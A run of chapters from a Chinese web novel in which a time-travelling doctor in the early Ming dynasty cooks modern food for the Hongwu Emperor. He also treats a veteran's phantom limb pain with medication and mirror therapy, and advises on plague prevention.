马淳想了想:“西域有种特殊的调味料,能提鲜增味。臣也是偶然得到的。”
朱元璋点点头,忽然感慨:“小马大夫,你这医馆虽小,可处处有惊喜啊。”
朱标放下筷子,若有所思:“若是军中有此等方便美味的面食,将士们的士气必定大振。”
马淳心中一动:“太子殿下说得是。这种面食确实便于携带,保存时间也长。”
朱元璋眼睛一亮:“标儿说得对!小马大夫,这面的做法……”
“臣可以献上配方。”马淳爽快地说,“不过需要一些特殊材料,恐怕产量有限。”
朱元璋大笑:“无妨!先让御厨学着做,能供得上咱和皇后还有标儿几个人吃就行!”
刘三吾这会儿已经吃完了面,正偷偷用袖子擦嘴。
听到皇帝这话,忍不住道:“陛下,此等美味,理应……”
“理应什么?”朱元璋斜眼看他,“刘爱卿刚才不是还说这是乡野粗食吗?”
刘三吾老脸一红,讪讪地不敢接话。
众人正说笑间,院外传来一阵急促的马蹄声。
蒋瓛立刻警觉地站起身,手按在刀柄上。
一个锦衣卫匆匆跑进来,在蒋瓛耳边低语几句。
蒋瓛脸色一变,快步走到朱元璋身边:“陛下,急报。”
朱元璋接过密信,扫了一眼,眉头立刻皱了起来……
第68章 残疾军人来看病!!
他起身对马淳道:“小马大夫,今日多谢款待。朝中有急事,咱得先回去了。”
马淳拱手:“陛下慢走。”
朱元璋走到门口,马淳急忙道:“陛下,记得早睡还有按时吃降压药……”
朱元璋满意地笑了笑,带着朱标等人匆匆离去。
院子里一下子安静下来,只剩下几个空碗还散发着淡淡的香气。
徐妙云开始收拾碗筷,轻声道:“陛下似乎很喜欢那面。”
马淳帮她一起收拾:“是啊,没想到堂堂皇帝,也会为了一碗面这么开心。”
“你注意到太子的表情了吗?”徐妙云眼中闪着光,“他一直在想军粮的事。”
马淳点点头:“太子心系将士,是个仁厚之人。”
两人正说着,门外又传来脚步声。
李景隆风风火火地闯了进来:“马兄!我听说陛下来你这儿了?”
马淳笑道:“刚走不久。”
李景隆抽了抽鼻子:“什么味道这么香?”
徐妙云抿嘴一笑:“李公子来得不巧,面已经吃完了。”
李景隆一脸懊恼:“我就知道!陛下肯定是来吃那个传说中的面食的!”他凑到马淳跟前,“马兄,什么时候也让我尝尝?”
马淳无奈地摇头:“明天吧,今天材料用完了。”
李景隆这才满意,又神神秘秘地压低声音:“对了,马兄可知道陛下为何突然回宫?”
马淳摇头。
“北元残部在边境蠢蠢欲动。”李景隆神色凝重。
马淳和徐妙云对视一眼,都看到了对方眼中的担忧。
战争意味着伤亡,意味着瘟疫,意味着无数百姓要流离失所。
“什么时候出发?”马淳问。
“还不确定。”李景隆叹了口气。
马淳明白他的意思:“若有需要,我自当效力。”
李景隆拍拍他的肩膀:“就知道马兄是痛快人!”他看了看天色,“我得回去了,父亲还等着我回话。”
送走李景隆,医馆终于彻底安静下来。
徐妙云靠在马淳肩头,轻声道:“真要打仗了吗?”
马淳握住她的手:“也许只是虚张声势。不过……”
“不过什么?”
“我得准备一些东西。”马淳眼中闪过一丝坚定,“止血药,消炎药,还有治疗外伤的器械。”
徐妙云点点头:“我帮你。”
……
夕阳西下,医馆后院飘起袅袅炊烟。徐妙云正往灶膛里添柴,锅里炖着刚宰的老母鸡。马淳蹲在一旁择菜,两人有一搭没一搭地聊着今日看诊的趣事。
前院忽然传来一阵喧哗。徐妙锦清脆的声音穿透院墙:“大姐夫!我们来看你啦!”
马淳擦擦手迎出去,只见徐辉祖和徐增寿一左一右架着个食盒,徐妙锦提着两坛酒跟在后面。三人俱是便装打扮,倒像是寻常人家走亲戚。
“来得正好。”马淳笑着接过酒坛,“你姐炖了鸡汤,今晚加菜。”
徐辉祖把食盒往石桌上一放,掀开盖子露出油纸包的卤牛肉:“醉仙楼新出的酱肉,特意带来给姐夫尝尝。”
众人正说笑间,院门吱呀一声响。一个头发花白的妇人搀着个年轻人慢慢走进来。那年轻人左腿齐膝而断,右臂袖管空空荡荡,却把腰板挺得笔直。
“请问……”妇人声音发颤,“可是马大夫的医馆?”
徐妙云快步上前搀住她:“大娘慢些,先坐下说话。”
年轻人却不动,目光扫过院中众人,最后落在马淳身上:“您就是治好瘟疫的马大夫?陶家老爷子说您有真本事。”
马淳注意到他额角渗出细密汗珠,却连眉头都不皱一下:“这位兄弟怎么称呼?”
“在下赵铁柱,以前当过兵……”年轻人咧嘴一笑,露出两排白牙,“现在嘛,废人一个。”
徐增寿起身,把竹椅往年轻人身后一推:“兄弟坐。”
赵铁柱摇头。
徐辉祖盯着他空荡荡的袖管:“北边伤的?”
“去年冬月在捕鱼儿海。”赵铁柱语气平淡得像在说别人,“冻掉条胳膊,箭伤烂了腿。”
那妇人捂住嘴,眼泪扑簌簌往下掉。
徐妙锦忙递上帕子,却被赵铁柱拦住:“娘,别这样。儿子这不是活得好好的?”
马淳放下药碾:“赵兄弟哪里不适?”
“浑身疼。”赵铁柱很平和地说道:“像千万根针往骨头缝里扎。军医说伤早好了,可这疼……实在熬不住。”
徐增寿猛地捶了下石桌:“狗屁军医!我这就去找他们算账!”
赵铁柱却笑了:“这位兄弟别恼。军医说得没错,伤口确实愈合了。”
他转向马淳,“马大夫,您给句准话。要是没治,我这就带娘回去。”
马淳目光落在赵铁柱身上。
他虽残了半边身子,却站得笔直,眼神锐利如刀,丝毫不像个被疼痛折磨的人。
可当他稍稍一动,脖颈上的青筋便暴起,牙关咬得死紧。
“进来坐。”马淳伸手要扶。
赵铁柱摇头,嘴角扯出一丝笑:“不必,站着舒坦些。”
徐辉祖闻声出来,一见赵铁柱的模样,变了脸色。
他大步上前,一把扶住他:“兄弟,哪支军的?”
“羽林卫,小旗赵铁柱。”他答得干脆,仿佛残缺的身体与他无关。
徐辉祖瞳孔一缩,那场仗明军死伤惨重。
“铁柱……”妇人突然哽咽,枯瘦的手抚上儿子空荡的袖管,“我儿从前能挽三石弓……”
赵铁柱眉头都没皱一下,反而用仅剩的左手拍了拍母亲的手背:“娘,说这些做什么?儿子现在不也好好的?”
马淳盯着他绷紧的下颌线,忽然道:“疼多久了?”
“伤口愈合就开始疼。”赵铁柱语气平静,像在说别人的事,“像千万把锉刀刮骨头,日夜不停。”
徐妙云闻言手里的药碾“咣当”砸了一下。
“军医怎么说?”徐增寿急问。
“他们说伤好了,疼是装的。”赵铁柱冷笑一声,“我赵铁柱十四岁从军,断骨刮肉没吭过一声,如今倒成了装病求抚恤的孬种?”
他猛地扯开衣领,露出满身狰狞疤痕,“您看看,这是装出来的?”
……
第69章 恐怖且残酷的幻肢痛!!
赵铁柱坐在诊室的木榻上,脊背挺得笔直,额角却渗出一层细密的冷汗。
他右臂的袖管空荡荡地垂着,左腿的裤管也扎在腰间,露出半截木制假肢。
马淳取出一套银针,在烛火上消过毒,转头对徐妙云道:“夫人,帮我准备些热水。”
徐妙云点头,转身去后院烧水。
赵铁柱盯着那银针,眉头都没皱一下,只是淡淡道:“马大夫,您尽管扎,我不怕疼。”
马淳摇头:“不是扎你,是治你。”
赵铁柱一愣,随即苦笑:“军医都说我装病,您倒信我?”
“信。”马淳语气笃定,“你这病,叫幻肢痛。”
“幻肢痛?”徐辉祖皱眉,“什么意思?”
马淳解释道:“人的四肢在脑子里都有个位置。比如你摸火,烫了手,疼的信号会传到脑子里,脑子就知道‘手疼’。可赵兄弟的手和腿没了,信号断了,脑子却还记着它们。”
徐妙锦听得眼眶发红:“所以……赵大哥的疼是真的?”
“千真万确。”马淳点头,“这不是装的,是脑子在作祟。”
徐增寿怒道:“那些军医凭什么说他装病?”
马淳苦笑:“不怪他们。这病太罕见,一般大夫根本没见过。”
赵铁柱突然笑了,笑声里带着几分苍凉:“马大夫,您知道吗?我在战场上丢了胳膊和腿,没喊过一声疼。可这幻肢痛……真他娘的熬不住。”
他说这话时,语气平静,可眼底却闪过一丝压抑已久的痛苦。
徐妙云眼眶微红,轻声道:“赵大哥,您别这么说……”
赵铁柱摇头:“我不是怕死的人,可这疼……没日没夜。要不是放心不下我娘,我早……”
他没说完,但意思已经很明显。
徐辉祖抱拳,郑重道:“赵兄弟,徐某先前多有误会,还望海涵。”
赵铁柱摆摆手:“徐将军言重了。我这病,连自己都搞不明白,何况外人?”
徐增寿一拳砸在掌心:“那些军医真该来看看!什么叫‘装病’?赵兄弟这样的硬汉,会装病?”
马淳取出银针:“我先给赵兄弟扎几针,缓解一下疼痛。”
赵铁柱点头,对母亲道:“娘,您先去院里歇着。”
“我不走!”妇人死死攥住他的衣角,“我儿扎针,娘得守着……”
赵铁柱喉结滚动,声音突然软了下来:“娘,儿子不想您看着难受。”
短短一句话,让徐妙锦别过脸去,眼泪止不住地往下掉。
半个时辰后,赵铁柱从诊室出来,额头汗湿了一片,眼神却亮得出奇。他活动了下肩膀,满脸不可思议:“真神了!那针扎下去,疼劲立刻消了一半!”
赵母扑通跪下就要磕头,被徐妙云死死拉住。
马淳解释道:“针灸能骗过脑子,让它暂时‘忘记’疼。但这法子治标不治本,得长期调理。”
徐辉祖若有所思:“难怪营里有些老兵总说伤口疼……”
徐增寿愤愤道:“回头我就跟父亲说,让太医院好好学学这‘幻肢痛’!”
徐妙云端着热水进来,听到这番话,忍不住问:“夫君,这病能治吗?”
马淳摇头:“根除很难,但能缓解。”
他一边捻动银针,一边继续解释:“幻肢痛最折磨人的地方,就是外人看不见。伤口愈合了,军医查不出毛病,就说你装病骗抚恤。”
扎完针后,赵铁柱已经一脑门的汗。
徐妙云拧了帕子递给赵铁柱:“赵大哥擦把脸。”
赵铁柱道了声谢,用左手接过帕子。
他母亲站在一旁,看到赵铁柱用一只手洗脸,很难受。
马淳看得出,他母亲很想去帮忙,但赵铁柱这种硬汉子,又孝顺,肯定是宁愿自己难一点,也不愿麻烦母亲。
于是母亲便询问:“马大夫,我儿这病真能治?”
“能缓解。”马淳去药柜里取瓷瓶,其实他根本没取,而是从系统里兑换了出来,“这是加巴喷丁,每日三次,每次一粒。这是阿米替林,睡前服半粒。”
赵铁柱接过药瓶,眉头微皱:“这些药......”
“放心,不是毒药。”马淳解释道,“加巴喷丁能调节神经兴奋性,阿米替林可以调节神经递质。两者合用,能减轻幻肢痛。”
徐辉祖凑过来:“姐夫,这药真管用?”
“七成把握。”马淳又取出一些钱,“回去买面大铜镜。”
赵铁柱愣住了:“铜镜?”
“对,至少三尺高。”马淳比划着,“要能照见全身。”
徐妙锦好奇地问:“照镜子能治病?”
马淳点头:“这叫镜像疗法。人的大脑会根据视觉反馈调整感知。赵兄弟虽然没了右臂,但镜子能让他‘看到’完整的自己。”
他详细解释道:“把镜子放在健侧,调整角度让残肢藏在镜后。活动左臂时,镜中会映出‘右臂’也在活动。这种视觉欺骗能让大脑重新映射身体形象,减轻幻肢痛。”
赵铁柱若有所思:“就像......”
“就像你的右臂还在。”马淳接过话头,“每天对着镜子做半个时辰动作,配合药物治疗,效果会更好。”
徐增寿挠头:“这法子听着玄乎。”
“有科学依据。”马淳说,“大脑运动皮层负责肢体控制。幻肢痛是因为神经信号错乱。镜像疗法能重建正确的神经映射。”
赵铁柱的母亲突然跪下:“马大夫大恩大德......”
徐妙云连忙扶起她:“大娘别这样。”
马淳继续叮嘱:“残肢要经常按摩,用不同质地的布料摩擦。这是感觉训练,能帮助神经适应。”
赵铁柱郑重地收好药瓶:“马大夫放心,我一定照做。”
“三个月后再来复诊。”马淳写了个方子,“若疼痛加重,随时来找我。”
徐辉祖拍拍赵铁柱的肩膀:“赵兄弟,以后有事尽管来魏国公府找我。”
赵铁柱眼眶微红,抱拳行礼:“多谢徐将军,多谢马大夫。”
送走赵铁柱母子,徐妙云轻声道:“夫君,这镜像疗法真有用?”
“嗯。”马淳点头,“我在医书上见过记载。配合药物,七成患者能减轻三成以上疼痛。”
徐增寿感叹:“那些军医真是......”
“不怪他们。”马淳打断道,“这病太罕见。太医院都没几个懂的。”
徐妙锦擦擦眼角:“赵大哥真不容易。”
天色渐暗,徐辉祖起身告辞:“时候不早,我们该回去了。”
马淳送他们到院门口:“代我向岳父问好。”
徐妙云站在丈夫身旁,目送弟弟妹妹远去。
晚风吹起她的发梢,马淳替她拢了拢衣领:“冷吗?”
“不冷。”徐妙云靠在他肩上,“夫君,你今日真厉害。”
马淳轻笑:“医者本分。”
厨房飘来鸡汤的香气。徐妙云想起什么:“对了,那方便面......”
“明天再做。”马淳牵起她的手,“今晚喝鸡汤。”
【叮!治疗幻肢痛病患!奖励积分100!】
【余额:45400】
……
第70章 神奇的镜像疗法!!
三日后清晨,医馆刚开门,赵铁柱就拄着拐杖来了。
他身后跟着几个好奇的村民,探头探脑地往医馆里张望。
“马大夫,镜子买来了。”赵铁柱从包袱里取出一面三尺高的铜镜,小心翼翼地放在桌上,“您看这成色行不?”
马淳接过铜镜仔细检查,镜面光洁如水,映出他清晰的面容。
“正好合用。”他满意地点头,转头对徐妙云道,“夫人,把医馆收拾一下。”
徐妙云应声去准备,几个村民趁机凑到门口。
王婶挎着菜篮子,踮脚往里看:“听说马大夫要用镜子治病?这可真稀奇。”
李二狗蹲在门槛边,嘴里叼着草根:“我活了三十年,还没见过这么治病的。”
“就你这狗癞子一样的人,你知道什么?人小马大夫说行就行。”
”就是!”
李二狗很是委屈,“我就那么一说,你们干嘛呢?”
”行了,别吵,专心看着。”有人提醒。
马淳对门外的议论声充耳不闻,专心调试铜镜的角度。
他将镜子摆在医馆中央,示意赵铁柱坐下。
“把左腿放平。”马淳调整着镜子的位置,“现在看着镜子里。”
铜镜中映出赵铁柱完好的左腿,经过巧妙的角度调整,乍看之下仿佛右腿也在。
围观的村民发出阵阵惊叹。
“神了!”王婶瞪大眼睛,“镜子里看着跟两条好腿似的!”
“我没看花眼吧,真像两条腿都在一样。”有人揉着眼睛说道。
马淳指着镜子对赵铁柱说道:“现在试着‘动一动’你缺失的右腿。”
赵铁柱盯着镜子,额头渗出细密的汗珠:“这……这怎么动?”
“想象它在动。”马淳的声音沉稳有力,“眼睛看着镜子里‘右腿’的位置,脑子里想着‘抬脚’。”
赵铁柱深吸一口气,全神贯注地盯着镜中的影像。
起初他毫无感觉,但随着时间推移,残缺的右腿处传来一阵酸麻。
“有感觉了?”马淳观察着他的表情变化。
赵铁柱喉结滚动,声音发颤:“像……像有蚂蚁在爬。”
门外响起一片惊呼。
李二狗猛地站起来:“真能感觉到?这镜子莫不是仙家法宝?”
啪的一下,有人敲了他的后脑勺一下:“别吵!”
马淳不为所动,继续引导:“现在想象‘弯曲膝盖’。”
赵铁柱死死盯着镜子,突然浑身一颤。
他残缺的右腿处传来清晰的“活动感”,仿佛真的在弯曲膝盖。
“神了!”他瞪大眼睛,声音激动地发颤,“我真觉得右腿在动!”
徐妙云在一旁快速记录着治疗过程,轻声道:“夫君,真的有效。”
马淳点点头,“坚持练习,疼痛会越来越轻。”
赵铁柱挣扎着站起来,单膝跪地:“马大夫,您这是救了我的命!”
门外的村民哗然。
王婶抹着眼泪:“这汉子在战场上丢了腿,疼得整夜睡不着,马大夫这是积了大德啊。”
马淳连忙扶起赵铁柱:“快起来。这法子得天天练,配合吃药,至少三个月才能见效。”
赵铁柱重重点头,眼中闪着坚定的光:“您放心,我绝不偷懒!”
他母亲站在一旁,早已泪流满面:“马大夫,您是我们家的恩人……”
马淳摆摆手:“这是分内之事。”
这时,围观的村民中挤进来一个白发老者,正是村里的陶老爷子。
他颤巍巍地走到赵铁柱跟前,仔细打量着他的气色。
“铁柱啊,气色比前几日好多了。”陶老爷子拍拍赵铁柱的肩膀,转头对马淳道,“马大夫,老汉我活了七十岁,没见过这么治病的。您这医术,怕是华佗再世啊。”
马淳谦逊的笑笑:“陶老过奖了,不过是些取巧的法子。”
李二狗挤到前面,好奇地问:“马大夫,这镜子治病是什么道理?”
马淳环视一圈,见妻子徐妙云和村民们都眼巴巴地望着他,便解释道:“人的四肢在脑子里都有个位置。赵兄弟虽然没了腿,但脑子里还记得。这镜子就是让脑子以为腿还在,慢慢就不疼了。”
王婶恍然大悟:“难怪铁柱说感觉腿在动,原来是脑子被骗了。”
徐妙云适时补充:“这法子叫镜像疗法,是夫君从医书上看来的。”
村民们议论纷纷,医馆里一时热闹非凡。
有人惊叹,有人感慨,更有人跃跃欲试想请马淳看病。
正说着,村口传来一阵马蹄声。
徐辉祖带着几个亲兵匆匆赶来,一进门就看见这热闹场面。
“姐夫,这是……”徐辉祖疑惑地看着满屋子的人。
马淳简单解释了情况,徐辉祖眼前一亮:“这法子妙啊!军中不少伤残兄弟都受这幻肢痛折磨,若是推广开来……”
赵铁柱激动地插话:“徐将军,马大夫这法子真管用!我这会儿感觉好多了!”
徐辉祖拍拍他的肩膀:“好兄弟,你受苦了。”
转头对马淳道,“姐夫,父亲想请您去军中传授这疗法。”
马淳沉吟片刻:“待我整理一份详细的疗法说明,再派人送去军中。”
徐妙云轻声道:“夫君,不如我帮你誊抄几份?”
马淳温柔地看她一眼:“有劳夫人了。”
赵铁柱母子千恩万谢地告辞,村民也渐渐散去,医馆终于恢复了平静,只剩下马淳夫妇和徐辉祖三人。
徐辉祖压低声音:“姐夫,陛下听说您治好了幻肢痛,龙颜大悦,说要重赏您呢。”
马淳摇摇头:“医者本分,何须赏赐。”
徐妙云端来热茶,轻声道:“夫君不图虚名,只求问心无愧。”
徐辉祖感慨地看着姐姐:“大姐嫁人后,越发有主意了。”
三人相视一笑,远处传来孩童的嬉笑声,混合着袅袅炊烟,勾勒出一幅安宁祥和的乡村画卷。
夜幕降临,马淳打开白炽灯,徐妙云也早习惯了这些好东西,她看破不说破。
马淳开始撰写镜像疗法的详细说明。
徐妙云在一旁研墨,时不时提出建议。
医馆里只剩下笔尖划过纸面的沙沙声,和偶尔传来的虫鸣。
这一夜,小青村的星空格外明亮……
第71章 一顿红油火锅再次折服老朱!!
小青村。
七月的蝉鸣撕扯着暑气。
傍晚,马淳夫妻二人正在后院准备吃火锅。
马淳从冰鉴里,将冰镇酸梅汤递给徐妙云。
妻子接过来,喝了一口,“爽快!今日无病人上门,合该庆祝一下。”
砰砰砰……
正说着,院门突然被拍得震天响。
“马兄!开门!”
徐妙云指尖一顿,马淳皱眉拉开院门,李景隆挟着热浪卷进来。
“少将军这是被狼撵了?”马淳侧身挡开他扬起的尘土。
李景隆抹了把颈间汗渍,立定抱拳:“喜报!兵部刚到的军驿文书,镜像疗法在五军都督府试行半月,七成伤兵疼痛减轻。”
说着从怀中掏出盖着兵部火漆的牒文,却被院中石桌上咕嘟冒泡的铜锅勾去了眼神。
徐妙云正在往滚汤里下菌子,鸡枞与松茸的鲜香混着牛油辣香直往人鼻子里钻。
李景隆喉结滚动两下,公文递出去时眼睛还黏在浮沉的红油上。
“少将军用过饭了?”马淳抖开牒文故意问道。
李景隆肚子应景地叫了声,面上却挺直腰板:“本将还要去魏国公府……”
“那就不留饭了。”马淳折起文书揣进袖袋。
正要关门,绛红袍角突然横在门槛上。
李景隆转身时官威荡然无存,咧嘴笑得见牙不见眼:“既然马兄盛情……”
“谁跟你盛情?”马淳抬脚要踹,李景隆已经溜了进去,还自己搬来一把凳子。
徐妙云给他添了一副碗筷。
李景隆一脸憨笑:“谢谢嫂子!”
接着又道:“呀!火锅咱吃过,这红彤彤一片是甚说法?”
“这叫红油火锅!夫君从蜀地学来的法子。中原很少吃到,少将军尝尝。”
“那感情好,看来我来对了。”李景隆筷子使得像短枪,专挑牛肝菌往嘴里送。
辣油顺着下巴滴在绯袍前襟也浑不在意,含混不清地嘟囔:“陛下说要赏你太医院院判……”
“不去。”马淳夹了片竹荪放进徐妙云碗里,“小青村伤患离不开人。”
李景隆筷子停在半空,“六品官身!多少太医熬白了头都……”
“少将军。”徐妙云出声,舀了勺清汤菌子推过去,“尝尝这个。”
话题被热汤截断。
李景隆埋头喝了两口,突然瞪大眼睛:“这汤底……”
“蜀地秘方。”马淳面不改色地往锅底添了块牛油。
李景隆风卷残云扫光半锅菌子,正色道:“其实还有桩奇事。”
他蘸着辣油在石桌上画线,“有些伤兵照镜子时,竟看见断肢在动。”
马淳筷子一顿。
“可是赵铁柱那般……”
“更邪乎。”李景隆压低嗓音,“有个百户说看见镜中右臂在写家书,可他明明……”
马淳拨弄着锅中菌子:“神经重塑时的幻觉罢了。告诉军医继续按时服药,三月内莫要中断镜像疗法。”
暮色爬上院墙时,李景隆终于打着饱嗝告辞。
徐妙云收拾着狼藉的碗筷,轻笑:“夫君方才说谎了。”
“嗯?”马淳不解。
“那百户看见的……”徐妙云道,“分明是残肢痛觉转化成的幻视。”
马淳抓住她沾着油渍的手腕,“夫人如今比太医院那帮老头子还通透。”
院墙外突然传来重物落地声。
李景隆捂着撑圆的肚子翻回来,讪笑着摸走忘拿的腰牌。
夜风送来他渐远的嘀咕:“明日还来……菌子……”
徐妙云望着摇晃的院门摇头。
马淳突然将她打横抱起,惊得她手里的竹筷落了一地。
“做甚?”
“试验神经重塑。”马淳踢开寝房门,“夫人方才不是说比太医还通透?”
更夫梆子响过三巡,医馆后院的菌菇架下,几朵新冒头的鸡枞菌在月光里轻轻颤动。
……
翌日晌午,马淳正往铜锅里下着新摘的鸡枞菌,徐妙云端着刚切好的羊肉片从厨房出来。
院外突然传来急促的马蹄声,三匹骏马在篱笆外扬起一片尘土。
“马小子!快开门!”
这粗犷的嗓音惊得徐妙云手一抖,羊肉片差点撒在地上。
马淳擦着手去开门,只见朱元璋穿着靛蓝棉布短打,活像个进城赶集的老农。
曹国公李文忠憋着笑跟在后面,蒋瓛则跟在最后。
“陛下来得巧,正好赶上饭点。”马淳侧身让路。
朱元璋大踏步进来,鼻子抽动两下:“红油锅?九江那小子没诓咱!”
李文忠凑到铜锅前深吸一口气,被辣味呛得直咳嗽。
“这比南洋胡椒还呛人,小马大夫,这是啥做的?”李文忠问。
“在下从西域朋友那里搞来的辣椒,辣得很,国公爷尝尝。”马淳笑道。
徐妙云连忙递上酸梅汤:“曹国公慢些,这锅底辣得很。”
“听见没保儿?”朱元璋得意地捋着胡子,“昨儿个九江回城,满大街嚷嚷什么‘辣得痛快’。咱问他哪吃的,这小子支支吾吾不肯说,还是标儿机灵,套出话来。”
马淳取出血压计:“陛下既来了,容臣先……”
“又量?”朱元璋瞪眼,“咱就吃口饭!”
“病从口入。”马淳不由分说拽过皇帝胳膊,“上回高压170,您要再熬夜……”
李文忠看得目瞪口呆。
他这位杀伐果决的舅舅,此刻竟像学堂里被先生揪住的顽童,嘴里嘟囔着“麻烦”,胳膊却老老实实伸着。
“138/85,还不错。”马淳收起袖带,“看来太子殿下确实分担了不少政务。”
朱元璋得意地冲李文忠挑眉:“听见没?标儿现在厉害吧。”
说着自己拉开条凳坐下,敲着桌子道:“赶紧的,多放辣!”
徐妙云往锅里添了勺牛油,红汤顿时翻涌起来。
蒋瓛解开包袱,取出个青瓷坛子:“陛下特意带的绍兴黄。”
“光喝酒多没劲。”朱元璋变戏法似的又摸出包茴香豆,“马小子,你这菌子哪采的?闻着比御膳房的还鲜。”
李文忠夹起片松茸涮了涮,刚入口就辣得直扇风。
朱元璋哈哈大笑,把自己那碗蘸料推过去:“傻小子,得配香油蒜泥。”
马淳给皇帝布了片竹荪:“陛下今日怎么有雅兴……”
“标儿非让咱歇半天。”朱元璋嘬着牙花子,“正好保儿从凤阳回来,咱就带他开开荤。”
说着又道,“听说你给军中治幻肢痛的法子,连北元旧部都在打听?”
……
第72章 老朱:你要是欺负她,咱就阉了你
李文忠呛了口酒。
徐妙云适时递上帕子,轻声道:“曹国公当心,这酒后劲大。”
“无妨无妨。”李文忠摆摆手,眼睛却亮起来,“马大夫有所不知,北元残部最近疯传,说大明出了个能‘让断肢重生’的神医。”
马淳摇头:“不过是镜像疗法……”
“管他什么疗法!”朱元璋拍桌子,“那群蛮子现在都说,宁遇常十万,莫见马神医——怕你把他们胳膊腿变没了!”
满院哄笑中,蒋瓛突然从辣锅里捞出片牛肚,嚼得咯吱响。
李文忠瞪大眼睛:“蒋兄不怕辣?”
“哈哈……好吃,管他辣不辣,好吃就行。”锦衣卫指挥使面不改色,又涮了片毛肚。
朱元璋趁机把李文忠碗里的羊肉夹走,得意道:“年轻人要多历练。”
转头却见马淳正往徐妙云碗里舀清汤菌菇,顿时酸溜溜道:“瞧瞧,还是人家小两口贴心。”
李文忠委委屈屈地自己去再次涮了一些羊肉。
“陛下若喜欢,臣把配方写给御膳房。”徐妙云刚说完。
朱元璋就摇头:“宫里做不出这味儿。上回按你们给的方子煮奶茶,喝得咱三天睡不着。”
李文忠好奇道:“马夫人还会草原吃食?”
“拙荆跟岳母学的。”马淳给妻子碗里添了块冻豆腐。
朱元璋凑近:“徐丫头,你爹最近……”
“家父闭门著书呢。”徐妙云微笑,“前日还说要写本《兵法与农事》。”
朱元璋愣了下,拍腿大笑:“好个徐天德!这是拐着弯劝咱休养生息啊!”
说着端起酒碗,“来,为咱大明的神医神厨干一个!”
酒过三巡,朱元璋忽然正色道:“马小子,真不愿来太医院?给你留个院判位置,啥时候想去都成。”
马淳摇头:“村里张婶的风湿还没调理好,李叔的咳疾……”
“得,就知道劝不动。”朱元璋摆手,“蒋瓛,回头挑两个伶俐的太医送来学艺。”又冲李文忠挤眼,“保儿,学着点,这才是办实事的人。”
酒足饭饱之后,红油火锅的余香还在院子里飘着,徐妙云端来冰镇酸梅汤给大家解腻。
朱元璋捧着碗,满足地打了个饱嗝。
“马小子,这次治瘟疫你们夫妻立了大功。”朱元璋靠在竹椅上,“咱琢磨着,该把你们的法子总结出来,让太医院刊印下发,也好叫天下百姓少受些瘟疫之苦。”
马淳正在收拾药箱,闻言抬头道:“陛下圣明。其实妙云早将防治要点整理成册,只是尚未完善。”
朱元璋眼睛一亮,转向徐妙云:“徐丫头,你来说说。”
徐妙云放下手中的针线,从容道:“此次瘟疫防治,首要在于‘防’字。我们总结出三条:一是水源必须煮沸,二是病患衣物需用沸水煮过,三是死者须深埋并撒石灰。”
李文忠掏出随身的小本子记录,边写边问:“马夫人,如何辨别是否染疫?”
“发热、咳嗽、咯血者为重,需立即隔离。仅有发热者为轻,可单独安置观察。”徐妙云声音清亮,“最要紧的是将轻重病患分开,避免交叉感染。”
朱元璋点头:“有理。太医院那帮老顽固总说瘟疫乃瘴气所致,非要熏什么香。”
马淳接话:“熏香无用,反而刺激病患。我们用的方子主要是清热解毒,辅以退热之药。”
夜风拂过,带来一丝凉意。
“还有一事。”徐妙云继续道,“我们发现病患居所必须通风,但不可直吹冷风。每日要用醋熏屋子,护理者需蒙面巾,接触后立即洗手。”
李文忠停下笔:“面巾有何讲究?”
“用细棉布叠四层,沸水煮过晒干。”马淳解释道,“比丝绸透气,比粗布细密。”
朱元璋忽然问:“你们治了三百多人,死了几个?”
“十一人。”徐妙云声音低了些,“多是年老体弱,染病太久的。”
朱元璋沉默片刻,叹道:“若早用你们的法子,至少能多活一半。”
马淳宽慰道:“陛下不必自责。如今有了这套章程,下次瘟疫必能少死许多人。”
“徐丫头,你写个详细的条陈。”朱元璋拍板,“咱让户部拨钱,每个州县都发。”
徐妙云应下,又道:“其实最难的并非治法,而是让百姓信服。起初村里人也不信沸水能防病,直到见了效果才跟着做。”
李文忠若有所思:“可否让各地里甲长先学?”
“正该如此。”马淳赞同,“每村培训两人,朝廷给些补贴,效果会更好。”
朱元璋忽然笑了:“你俩倒是夫唱妇随。”
“徐丫头。”朱元璋放下碗,看向徐妙云,“咱听说这次治瘟疫,你一直陪在马小子身边,连疫区都敢进?”
徐妙云端着酸梅汤的手微微一顿,随即笑道:“夫君在哪儿,我自然在哪儿。”
李文忠放下酒杯,眼中满是敬佩:“马夫人胆识过人,寻常女子哪敢进那等险地?军中将士听闻此事,都佩服得很。”
马淳伸手覆在徐妙云的手背上,轻轻捏了捏。
徐妙云回握住他,两人相视一笑。
朱元璋看在眼里,哼了一声:“马小子,徐丫头这般待你,你要是敢欺负她,咱就阉了你,让你进宫当太监去。”
李文忠一口酒差点喷出来,连忙咳嗽两声掩饰笑意。
马淳无奈道:“陛下说笑了,臣哪敢欺负她?疼她还来不及。”
徐妙云耳根微红,轻声道:“夫君待我极好。”
朱元璋满意地点头:“这还差不多。”
他端起酒碗,咕咚灌了一大口,抹了抹嘴道,“徐丫头,你爹要是知道你这般胆色,怕是要得意得睡不着觉。”
徐妙云抿唇一笑:“家父前日来信,说若夫君敢让我受委屈,他就亲自提刀来砍人。”
朱元璋哈哈大笑:“徐天德这老小子,还是这般护短!”
朱元璋又捞了块冻豆腐,吃得满嘴红油,含糊不清道:“马小子,你这火锅确实够味,比宫里那些清汤寡水的强多了。”
马淳笑道:“陛下喜欢,臣回头把方子写下来,让御厨照着做。”
朱元璋摆摆手:“算了,宫里做不出这味儿。”
他顿了顿,忽然正色道,“不过,这红油锅底倒是让咱想起个事。”
李文忠好奇:“舅舅想起什么了?”
朱元璋眯起眼睛:“北边那群蛮子,不是总说咱们汉人吃不得辣吗?下回使节来朝,咱就请他们吃这个,看他们还嘴硬不。”
马淳失笑:“陛下,这辣椒原产西域,他们未必吃得惯。”
朱元璋哼道:“管他惯不惯,先辣他们个屁滚尿流再说。”
……
第73章 陛下的路引制度就是人祸
众人休息一阵之后,又开始涮起了火锅。
朱元璋夹了片涮羊肉,蘸满红油送进嘴里,辣得直吸气,却还是忍不住又夹了一筷子。
他抬头看向马淳,忽然眯起眼睛。
“马小子,刚才光顾着听徐丫头说话,咱还没问你。”朱元璋放下筷子,“你方才欲言又止的,是不是有话要说?”
马淳正给徐妙云端酸梅汤,闻言动作一顿,摇头道:“没有。”
朱元璋嗤笑一声:“你那天不怕地不怕的胆气呢?怎么,在咱面前还装?”
李文忠和蒋瓛对视一眼,都察觉气氛微妙。
徐妙云轻轻放下筷子,指尖微微收紧。
马淳沉默片刻,终于开口:“其实也没什么,就是觉得……”
他顿了顿,抬眼直视朱元璋,“陛下的户籍和路引制度,对防病防灾来说,简直就是人祸。”
话音一落,院子里瞬间安静。
